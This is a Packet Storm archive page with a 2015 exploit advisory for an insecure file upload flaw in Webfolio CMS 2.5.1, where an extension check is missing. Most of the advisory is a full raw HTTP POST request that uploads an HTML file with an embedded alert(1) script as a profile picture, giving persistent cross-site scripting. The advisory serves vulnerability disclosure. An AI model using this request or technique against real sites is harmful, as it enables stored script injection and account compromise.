what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Webfolio CMS 2.5.1 Insecure File Upload

Webfolio CMS 2.5.1 Insecure File Upload
Posted Aug 5, 2015
Authored by Sharankumar Somana

Webfolio CMS version 2.5.1 suffers from an insecure file upload vulnerability.

tags | exploit, file upload
SHA-256 | 89b7b64d987ea801fc593ca99caa022a573667c732c049a833b14739d428551f

Webfolio CMS 2.5.1 Insecure File Upload

Change Mirror Download
# Exploit Title: Insecure File Upload in webfolio2.5.1
# Date:04 august 2015
# Exploit Author: Sharankumar somana
# Vendor Homepage: http://webfolio-cms.sourceforge.net/
# Software Link: http://sourceforge.net/projects/webfolio-cms/?source=typ_redirect
# Version: 2.5.1
# Tested on: Windows 7

_________________________________________________________________________________________________________________________

Insecure File Upload

Webfolio cms is vulnerable for insecure file upload vulnerability.The applictaion checks for the size and content type of the files while uploading, however it fails to check the extention of the uploaded files. A malicious user can successfully upload a valid image file with javascript embedded in it and changing the extention to html. An attacker can take advantage of this issue to perform persistent cross site scripting attacks.

Raw Request:

POST /webfolio/wfcms2/admin/users/edit/1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:39.0) Gecko/20100101 Firefox/39.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://localhost/webfolio/wfcms2/admin/users/edit/1
Cookie: PHPSESSID=fp7drdbohoi5v1ni242iuoq303;
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------17740215416001
Content-Length: 123677

-----------------------------17740215416001
Content-Disposition: form-data; name="UserAccountInfo[username]"

admin
-----------------------------17740215416001
Content-Disposition: form-data; name="UserAccountInfo[password]"


-----------------------------17740215416001
Content-Disposition: form-data; name="UserAccountInfo[passwdConfirm]"


-----------------------------17740215416001
Content-Disposition: form-data; name="UserAccountInfo[email]"

sharan@gmail.com
-----------------------------17740215416001
Content-Disposition: form-data; name="UserAccountInfo[role]"

10
-----------------------------17740215416001
Content-Disposition: form-data; name="UserProfile[realName]"

sharan
-----------------------------17740215416001
Content-Disposition: form-data; name="UserProfile[aboutText]"

testing 123
-----------------------------17740215416001
Content-Disposition: form-data; name="UserProfile[dateOfBirth]"

1990-08-04
-----------------------------17740215416001
Content-Disposition: form-data; name="UserProfile[picture]"; filename="test.html"
Content-Type: image/jpeg

Valid image file data followed by javascript code
<html>
<script>alert(1)</script>
</html>

-----------------------------17740215416001
Content-Disposition: form-data; name="UserProfile[picture][current_file_name]"

php1678_55bfc11748cdf.html
-----------------------------17740215416001
Content-Disposition: form-data; name="UserProfile[timeZone]"

UTC
-----------------------------17740215416001
Content-Disposition: form-data; name="UserProfile[website]"


-----------------------------17740215416001
Content-Disposition: form-data; name="_csrf"

af184c6a94f8485fae50c8e5bc320695
-----------------------------17740215416001
Content-Disposition: form-data; name="btnSave"

Save changes
-----------------------------17740215416001--
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    0 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close